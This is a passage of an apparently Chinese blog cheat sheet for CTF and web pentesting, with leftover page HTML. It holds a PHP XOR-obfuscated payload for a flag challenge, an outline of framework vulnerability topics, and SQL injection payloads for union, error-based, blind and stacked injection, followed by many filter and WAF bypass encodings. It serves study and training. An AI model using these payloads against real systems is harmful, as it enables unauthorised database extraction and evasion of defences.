<span class="token comment">//$hint = "php function getFlag() to get flag";</span>
<span class="token operator">?</span><span class="token operator">></span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li></ul></pre>
<p><strong>payload:</strong></p>
<pre data-index="53" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;">code<span class="token operator">=</span><span class="token variable">$_</span><span class="token operator">=</span><span class="token string double-quoted-string">"`{<!-- -->{<!-- -->{"</span><span class="token operator">^</span><span class="token string double-quoted-string">"?<>/"</span><span class="token punctuation">;</span><span class="token variable">$</span><span class="token punctuation">{<!-- --></span><span class="token variable">$_</span><span class="token punctuation">}</span><span class="token punctuation">[</span><span class="token constant">_</span><span class="token punctuation">]</span><span class="token punctuation">(</span><span class="token variable">$</span><span class="token punctuation">{<!-- --></span><span class="token variable">$_</span><span class="token punctuation">}</span><span class="token punctuation">[</span><span class="token constant">__</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">&</span><span class="token constant">_</span><span class="token operator">=</span>getFlag
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li></ul></pre>
<blockquote>
<p><code>$_="{<!-- -->{<!-- -->{"^"?<>/";</code>=<code>$_="GET";</code><br> <code>${$_}[_](${$_}[__]);</code>=<code>$_GET[_]($_GET[__]);</code>=<code>getFlag($_GET[__])</code>=<code>getFlag(null);</code><br> 这个 <code>payload</code> 的长度是 37 ,符合题目要求的 小于等于40 。另<code>fuzz</code> 出了长度为 28 的 payload ,如下:</p>
<pre data-index="54" class="set-code-show prettyprint"><code class="prism language-php has-numbering" onclick="mdcp.signin(event)" style="position: unset;"><span class="token variable">$_</span><span class="token operator">=</span><span class="token string double-quoted-string">"{<!-- -->{<!-- -->{<!-- -->{<!-- -->{<!-- -->{<!-- -->{"</span><span class="token operator">^</span><span class="token string double-quoted-string">"%1c%1e%0f%3d%17%1a%1c"</span><span class="token punctuation">;</span><span class="token variable">$_</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span>
<span class="token comment">#getFlag()</span>
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
</blockquote>
<h2><a name="t37"></a><a id="_1024"></a>容器和框架漏洞</h2>
<h3><a name="t38"></a><a id="Nginx_1026"></a>Nginx</h3>
<h3><a name="t39"></a><a id="IIS_1028"></a>IIS</h3>
<h4><a name="t40"></a><a id="PUT_1030"></a>PUT上传漏洞</h4>
<h4><a name="t41"></a><a id="_1032"></a>远程溢出漏洞</h4>
<h4><a name="t42"></a><a id="_1034"></a>短文件漏洞</h4>
<h3><a name="t43"></a><a id="Apache_1036"></a>Apache</h3>
<h4><a name="t44"></a><a id="HTTP_CVE20190211_1038"></a>HTTP组件提权 CVE-2019-0211</h4>
<h4><a name="t45"></a><a id="CGI_1040"></a>CGI</h4>
<h3><a name="t46"></a><a id="PHP_1042"></a>PHP</h3>
<h4><a name="t47"></a><a id="ThinkPHP_1044"></a>ThinkPHP</h4>
<h5><a id="_1046"></a>反序列化</h5>
<h6><a id="ThinkPHP6012LTS_1048"></a>ThinkPHP6.0.12LTS反序列漏洞分析</h6>
<h5><a id="RCE_1050"></a>RCE</h5>
<h6><a id="Thinkphp5_RCE_1052"></a>Thinkphp5 RCE总结</h6>
<h5><a id="SQL_1054"></a>SQL注入</h5>
<h4><a name="t48"></a><a id="Discuz_1056"></a>Discuz</h4>
<h4><a name="t49"></a><a id="Twig_1060"></a>Twig</h4>
<h4><a name="t50"></a><a id="WordPress_1062"></a>WordPress</h4>
<h4><a name="t51"></a><a id="Laravel_1064"></a>Laravel</h4>
<h4><a name="t52"></a><a id="Smarty_1066"></a>Smarty</h4>
<h3><a name="t53"></a><a id="Java_1068"></a>Java</h3>
<h4><a name="t54"></a><a id="Struts2_1070"></a>Struts2</h4>
<h5><a id="OGNL_1072"></a>OGNL注入</h5>
<h4><a name="t55"></a><a id="Spring_1074"></a>Spring框架</h4>
<h5><a id="SPEL_1076"></a>SPEL注入</h5>
<h5><a id="_1078"></a>组件漏洞</h5>
<h6><a id="fastjson_1080"></a>fastjson</h6>
<h4><a name="t56"></a><a id="_1082"></a>反序列化</h4>
<h5><a id="Hessian_1084"></a>Hessian</h5>
<h5><a id="ObjectOutputStream_1086"></a>二进制(ObjectOutputStream)</h5>
<h5><a id="JSON_1088"></a>JSON</h5>
<h5><a id="XML_1090"></a>XML</h5>
<h5><a id="YAML_1092"></a>YAML</h5>
<h4><a name="t57"></a><a id="JRMP_1094"></a>JRMP安全性问题</h4>
<h3><a name="t58"></a><a id="JWT_1096"></a>JWT攻击</h3>
<h4><a name="t59"></a><a id="_1098"></a>敏感信息泄露</h4>
<h4><a name="t60"></a><a id="none_1100"></a>将算法修改为none</h4>
<h4><a name="t61"></a><a id="_1102"></a>密钥混淆攻击</h4>
<h4><a name="t62"></a><a id="_1104"></a>无效签名</h4>
<h4><a name="t63"></a><a id="_1106"></a>暴力破解密钥</h4>
<h4><a name="t64"></a><a id="_1108"></a>密钥泄露</h4>
<h4><a name="t65"></a><a id="KID_1110"></a>操纵KID</h4>
<h4><a name="t66"></a><a id="_1112"></a>操纵头部参数</h4>
<h3><a name="t67"></a><a id="JavaScript_1114"></a>JavaScript</h3>
<h4><a name="t68"></a><a id="SSJIJavaScript_1116"></a>SSJI(服务端JavaScript注入)</h4>
<h5><a id="Nodejs_1118"></a>Node.js</h5>
<h5><a id="Vuejs_1120"></a>Vue.js</h5>
<h4><a name="t69"></a><a id="JavaScript_Prototype__1122"></a>JavaScript Prototype 污染攻击</h4>
<h3><a name="t70"></a><a id="Python_1124"></a>Python</h3>
<h4><a name="t71"></a><a id="_1126"></a>沙箱逃逸</h4>
<h5><a id="_1128"></a>利用内建函数执行命令</h5>
<h5><a id="bypass_1130"></a>过滤与bypass</h5>
<h4><a name="t72"></a><a id="_1132"></a>框架</h4>
<h5><a id="Flask_1134"></a>Flask</h5>
<h6><a id="_1136"></a>敏感信息泄露</h6>
<h6><a id="_1138"></a>验证码绕过</h6>
<h6><a id="SESSION_1140"></a>SESSION伪造和对象注入漏洞</h6>
<h6><a id="hashhmacHash_1142"></a>使用hash而非hmac进行签名(Hash长度拓展攻击)</h6>
<h6><a id="_1144"></a>任意文件读取</h6>
<h6><a id="CBC_1146"></a>加密而未签名(CBC字节翻转攻击)</h6>
<h5><a id="Tornado_1148"></a>Tornado</h5>
<h5><a id="Django_1150"></a>Django</h5>
<h4><a name="t73"></a><a id="_1152"></a>反序列化漏洞</h4>
<h5><a id="pickle_1154"></a>pickle模块</h5>
<h3><a name="t74"></a><a id="Ruby_1156"></a>Ruby</h3>
<h4><a name="t75"></a><a id="ERB_1158"></a>ERB模板注入</h4>
<h2><a name="t76"></a><a id="SQL_1160"></a>SQL注入</h2>
<h3><a name="t77"></a><a id="_1162"></a>原理</h3>
<h4><a name="t78"></a><a id="web_1164"></a>用户输入的内容传到web应用,没有经过过滤或者严格的过滤,被带入到了数据库中进行执行</h4>
<h3><a name="t79"></a><a id="_1166"></a>分类</h3>
<h4><a name="t80"></a><a id="_1168"></a>联合注入</h4>
<h5><a id="_1170"></a>几大基本步骤</h5>
<h6><a id="_1172"></a>判断是否有注入及注入点类型</h6>
<h6><a id="_1174"></a>是否有注入</h6>
<ul><li>加单引号</li><li>and 8731=8731</li><li>and ‘a’=‘a’</li><li>and 1=2</li><li>or 1=1</li><li>or 1=2</li></ul>
<h6><a id="_1183"></a>注入点类型</h6>
<ul><li> <p>字符型</p>
<ul><li>‘</li><li>“</li><li>’)</li><li>”)</li><li>%‘</li></ul> </li><li> <p>数字型</p> </li></ul>
<h6><a id="_1195"></a>判断查询列数</h6>
<h6><a id="_1197"></a>注意</h6>
<ul><li>union 前后两个select语句的列数要一致</li></ul>
<h6><a id="_1201"></a>原理</h6>
<ul><li> <p>order by是排序的语句</p>
<ul><li>select * from users order by id(默认升序)</li><li>select * from users order by id desc(降序)</li><li>select * from users order by 1</li></ul> </li></ul>
<h6><a id="order_by_n_1209"></a>order by n</h6>
<h6><a id="_1211"></a>联合查询</h6>
<h6><a id="union_1213"></a>union</h6>
<ul><li>id=1’ union select 1,2,3–+</li><li>id=-1’ union select 1,2,3–+</li></ul>
<h6><a id="_1218"></a>获取基本信息</h6>
<h6><a id="version_1220"></a>version()</h6>
<ul><li>获取数据库的版本</li></ul>
<h6><a id="database_1224"></a>database()</h6>
<ul><li>获取当前网站使用的数据库</li></ul>
<h6><a id="user_1228"></a>user()</h6>
<ul><li>当前网站使用的数据库账号</li></ul>
<h6><a id="secure_file_priv_1232"></a>@@secure_file_priv</h6>
<ul><li>数据库的读写文件</li></ul>
<h6><a id="datadir_1236"></a>@@datadir</h6>
<ul><li> <p>数据库的安装目录</p>
<ul><li> <p>phpstudy</p>
<ul><li>c:\phpstudy\mysql</li><li>c:\phpstudy\www</li></ul> </li><li> <p>wamp</p>
<ul><li>c:\wamp\mysql</li><li>c:\wamp\www</li></ul> </li><li> <p>宝塔</p>
<ul><li>/www/server/data(Linux版)</li><li><a href="https://blog.csdn.net/sunsineq/article/details/115862710">宝塔系统目录结构</a></li></ul> </li></ul> </li></ul>
<h6><a id="_1253"></a>获取数据库名</h6>
<h6><a id="information_schema_1255"></a>information_schema数据库</h6>
<ul><li>schemata数据表</li><li>tables数据表</li><li>columns数据表</li></ul>
<h6><a id="schemata_1261"></a>schemata数据表里面获取数据库名</h6>
<ul><li>select schema_name from schemata;</li><li>id=1’ union select 1,2,group_concat(schema_name) from information_schema.schemata</li></ul>
<h6><a id="_1266"></a>获取数据表名</h6>
<h6><a id="tables_1268"></a>tables表</h6>
<ul><li>select table_name from tables where table_schema=‘security’;</li><li>select table_name from tables where table_schema=database();</li><li>id=1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()</li></ul>
<h6><a id="_1274"></a>获取列名</h6>
<h6><a id="columns_1276"></a>columns表</h6>
<ul><li>select column_name from columns where table_schema=‘security’ and table_name=‘users’;</li></ul>
<h6><a id="_1280"></a>优化步骤</h6>
<h6><a id="select_table_namecolumn_name_from_columns_where_table_schemasecurity_id1_union_select_12group_concattable_name_column_name_from_information_schemacolumns_where_table_schemadatabase_1282"></a>select table_name,column_name from columns where table_schema=‘security’;###### id=1’ union select 1,2,group_concat(table_name,‘_’,column_name) from information_schema.columns where table_schema=database()</h6>
<h6><a id="_1284"></a>获取数据</h6>
<h6><a id="md5_1286"></a>md5破解的做法(暴力枚举)</h6>
<h4><a name="t81"></a><a id="_1288"></a>报错注入</h4>
<h5><a id="_1290"></a>几个函数</h5>
<h6><a id="updatexmlextractvalue_1292"></a>updatexml/extractvalue</h6>
<h6><a id="_1294"></a>报错的原理</h6>
<ul><li>构造不满足xpath语法的内容</li></ul>
<h6><a id="_1298"></a>报错的语句</h6>
<ul><li>id=1’ and extractvalue(1,concat(0x7e,(select user()),0x7e))</li></ul>
<h6><a id="_1302"></a>注意</h6>
<ul><li> <p>版本限制</p> </li><li> <p>32位长度限制</p>
<ul><li>substr</li></ul> </li></ul>
<h6><a id="_1309"></a>其他函数</h6>
<h4><a name="t82"></a><a id="_1311"></a>布尔盲注</h4>
<h5><a id="_1313"></a>步骤</h5>
<h6><a id="_1315"></a>获取数据库名</h6>
<h6><a id="_1317"></a>判断有多少个数据库</h6>
<ul><li>count()</li></ul>
<h6><a id="_1321"></a>判断第一个数据库名的长度</h6>
<ul><li>length()</li></ul>
<h6><a id="_1325"></a>获取第一个每一位数据库名字的字符</h6>
<ul><li>substr()</li><li>ascii()</li></ul>
<h6><a id="_1330"></a>判断第二个数据库名的长度</h6>
<h6><a id="_1332"></a>获取第二个数据库每一位数据库名字的字符</h6>
<h6><a id="_1334"></a>获取数据表名</h6>
<h6><a id="_1336"></a>判断数据库里面有多少个数据表</h6>
<h6><a id="_1338"></a>判断第一个数据库的长度</h6>
<h6><a id="_1340"></a>取第一个数据表的每一位字符</h6>
<h6><a id="_1342"></a>获取列名</h6>
<h6><a id="_1344"></a>获取数据</h6>
<h4><a name="t83"></a><a id="_1346"></a>时间盲注</h4>
<h5><a id="_1348"></a>原理</h5>
<h6><a id="_1350"></a>发送一个请求,网站接受请求,<a href="https://marketing.csdn.net/p/3127db09a98e0723b83b2914d9256174?pId=2782?utm_source=glcblog&spm=1001.2101.3001.7020" target="_blank" class="hl hl-1" data-report-view="{"spm":"1001.2101.3001.7020","dest":"https://marketing.csdn.net/p/3127db09a98e0723b83b2914d9256174?pId=2782?utm_source=glcblog&spm=1001.2101.3001.7020","extra":"{\"word\":\"并发\"}"}" data-report-click="{"spm":"1001.2101.3001.7020","dest":"https://marketing.csdn.net/p/3127db09a98e0723b83b2914d9256174?pId=2782?utm_source=glcblog&spm=1001.2101.3001.7020","extra":"{\"word\":\"并发\"}"}" data-tit="并发" data-pretit="并发">并发</a>送到数据库执行相关的操作,等待数据库返回结果,人为的延长数据库的执行时间,判断是否有注入</h6>
<h5><a id="_1352"></a>步骤</h5>
<h6><a id="_1354"></a>同布尔盲注</h6>
<h6><a id="if_1356"></a>if(判断条件,条件为真时返回的值,条件为假时返回的值)</h6>
<h6><a id="sleep_1358"></a>sleep()</h6>
<h6><a id="benchmark_1360"></a>benchmark()</h6>
<h4><a name="t84"></a><a id="_1362"></a>堆叠注入</h4>
<h5><a id="mysqli_query_VS_mysqli_muiti_query_1364"></a>mysqli_query()不支持 VS mysqli_muiti_query()支持</h5>
<h5><a id="_1366"></a>语法</h5>
<h6><a id="select__from_userscreate_table_youid_int_1368"></a>select * from users;create table you(id int);</h6>
<h6><a id="id1create_table_youid_int_1370"></a>id=1’;create table you(id int);#</h6>
<h4><a name="t85"></a><a id="_1372"></a>内联注入</h4>
<h5><a id="_1374"></a>子查询</h5>
<h6><a id="select_select_1_1376"></a>select (select 1)</h6>
<h4><a name="t86"></a><a id="_1378"></a>区别</h4>
<h5><a id="_1380"></a>应用范围</h5>
<h6><a id="_1382"></a>时间盲注>布尔盲注>报错注入=联合注入</h6>
<h5><a id="_1384"></a>利用便捷度</h5>
<h6><a id="_1386"></a>联合注入>报错注入>布尔盲注>时间盲注</h6>
<h3><a name="t87"></a><a id="_1388"></a>利用点</h3>
<h4><a name="t88"></a><a id="select___1390"></a>select - 四种基本注入</h4>
<h4><a name="t89"></a><a id="update__1392"></a>update- 联合注入不行</h4>
<h4><a name="t90"></a><a id="insert___1394"></a>insert - 联合注入不行</h4>
<h4><a name="t91"></a><a id="delete___1396"></a>delete - 联合注入不行</h4>
<h4><a name="t92"></a><a id="limit_1398"></a>limit之后的注入</h4>
<h4><a name="t93"></a><a id="order_by_1400"></a>order by之后的注入</h4>
<h4><a name="t94"></a><a id="GET_1402"></a>GET</h4>
<h4><a name="t95"></a><a id="POST_1404"></a>POST</h4>
<h4><a name="t96"></a><a id="HTTP_Header_1406"></a>HTTP Header</h4>
<h4><a name="t97"></a><a id="Cookie_1408"></a>Cookie</h4>
<h4><a name="t98"></a><a id="Referer_1410"></a>Referer</h4>
<h4><a name="t99"></a><a id="UserAgent_1412"></a>User-Agent</h4>
<h3><a name="t100"></a><a id="_1414"></a>绕过</h3>
<h4><a name="t101"></a><a id="and_or_1416"></a>过滤and or</h4>
<pre data-index="55" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">or ——> ||
and ——> &&
xor——>|
not——>!
十六进制绕过
or ——> o\x72
大小写绕过
Or
aNd
双写绕过
oorr
anandd
urlencode,ascii(char),hex,unicode编码绕过
一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
关键字内联注释尝试绕所有
/*!or*/
/*!and*/
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li><li style="color: rgb(153, 153, 153);">22</li><li style="color: rgb(153, 153, 153);">23</li><li style="color: rgb(153, 153, 153);">24</li><li style="color: rgb(153, 153, 153);">25</li><li style="color: rgb(153, 153, 153);">26</li><li style="color: rgb(153, 153, 153);">27</li><li style="color: rgb(153, 153, 153);">28</li></ul></pre>
<h4><a name="t102"></a><a id="_1449"></a>左括号过滤</h4>
<pre data-index="56" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">urlencode,ascii(char),hex,unicode编码绕过
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<h4><a name="t103"></a><a id="_1458"></a>右括号过滤</h4>
<pre data-index="57" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">urlencode,ascii(char),hex,unicode编码绕过
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li></ul></pre>
<h4><a name="t104"></a><a id="unionselect_1467"></a>过滤union\select</h4>
<pre data-index="58" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">逻辑绕过
例:
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)='admin'
十六进制字符绕过
select ——> selec\x74
union——>unio\x6e
大小写绕过
SelEct
双写绕过
selselectect
uniunionon
urlencode,ascii(char),hex,unicode编码绕过
关键字内联绕所有
/*!union*/
/*!select*/
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li><li style="color: rgb(153, 153, 153);">21</li></ul></pre>
<h4><a name="t105"></a><a id="_1493"></a>过滤空格</h4>
<pre data-index="59" class="set-code-hide prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">用Tab代替空格%20 %09 %0a %0b %0c %0d %a0 /**/()
绕过空格注释符绕过//--%20/**/#--+-- -;%00;
空白字符绕过SQLite3 —— 0A,0D,0c,09,20
MYSQL
09,0A,0B,0B,0D,A0,20
PosgressSQL
0A,0D,0C,09,20
Oracle_11g
00,0A,0D,0C,09,20
MSSQL
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,OF,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
特殊符号绕过
` + !
等科学计数法绕过
例:
select user,password from users where user_id0e1union select 1,2
unicode编码
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><div class="hide-preCode-box"><span class="hide-preCode-bt" data-report-view="{"spm":"1001.2101.3001.7365"}"><img class="look-more-preCode contentImg-no-view" src="https://csdnimg.cn/release/blogv2/dist/pc/img/newCodeMoreWhite.png" alt="" title=""></span></div><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li><li style="color: rgb(153, 153, 153);">9</li><li style="color: rgb(153, 153, 153);">10</li><li style="color: rgb(153, 153, 153);">11</li><li style="color: rgb(153, 153, 153);">12</li><li style="color: rgb(153, 153, 153);">13</li><li style="color: rgb(153, 153, 153);">14</li><li style="color: rgb(153, 153, 153);">15</li><li style="color: rgb(153, 153, 153);">16</li><li style="color: rgb(153, 153, 153);">17</li><li style="color: rgb(153, 153, 153);">18</li><li style="color: rgb(153, 153, 153);">19</li><li style="color: rgb(153, 153, 153);">20</li></ul></pre>
<h4><a name="t106"></a><a id="_1518"></a>过滤=</h4>
<pre data-index="60" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">?id=1' or 1 like 1#可以绕过对 = > 等过滤
or '1' IN ('1234')#可以替代=
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li></ul></pre>
<h4><a name="t107"></a><a id="_1525"></a>过滤比较符<></h4>
<pre data-index="61" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">select*fromuserswhereid=1and ascii(substr(database(),0,1))>64
select*fromuserswhereid=1and greatest(ascii(substr(database(),0,1)),64)=64
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h4><a name="t108"></a><a id="where_1533"></a>过滤where</h4>
<pre data-index="62" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">逻辑绕过
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h4><a name="t109"></a><a id="limit_1541"></a>过滤limit</h4>
<pre data-index="63" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">逻辑绕过
过滤代码 1 && (select user from users limit 1) = 'admin'
绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h4><a name="t110"></a><a id="group_by_1549"></a>过滤group by</h4>
<pre data-index="64" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">逻辑绕过
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h4><a name="t111"></a><a id="select_1557"></a>过滤select</h4>
<pre data-index="65" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">逻辑绕过
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = 'a'
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li></ul></pre>
<h4><a name="t112"></a><a id="_1565"></a>过滤’(单引号)</h4>
<pre data-index="66" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">逻辑绕过
waf = 'and|or|union|where|limit|group by|select|\''
过滤代码 1 && substr(user,1,1) = 'a'
绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)
宽字节绕过
%bf%27 %df%27 %aa%27
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li><li style="color: rgb(153, 153, 153);">7</li><li style="color: rgb(153, 153, 153);">8</li></ul></pre>
<h4><a name="t113"></a><a id="_1578"></a>过滤逗号</h4>
<pre data-index="67" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:
selectsubstr(database(0from1for1);selectmid(database(0from1for1);
对于limit可以使用offset来绕过:
select*fromnews limit0,1# 等价于下面这条SQL语句select*fromnews limit1offset0
<div class="hljs-button signin active" data-title="登录复制" data-report-click="{"spm":"1001.2101.3001.4334"}"></div></code><ul class="pre-numbering" style=""><li style="color: rgb(153, 153, 153);">1</li><li style="color: rgb(153, 153, 153);">2</li><li style="color: rgb(153, 153, 153);">3</li><li style="color: rgb(153, 153, 153);">4</li><li style="color: rgb(153, 153, 153);">5</li><li style="color: rgb(153, 153, 153);">6</li></ul></pre>
<h4><a name="t114"></a><a id="hex_1589"></a>过滤hex</h4>
<pre data-index="68" class="set-code-show prettyprint"><code class="has-numbering" onclick="mdcp.signin(event)" style="position: unset;">逻辑绕过
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
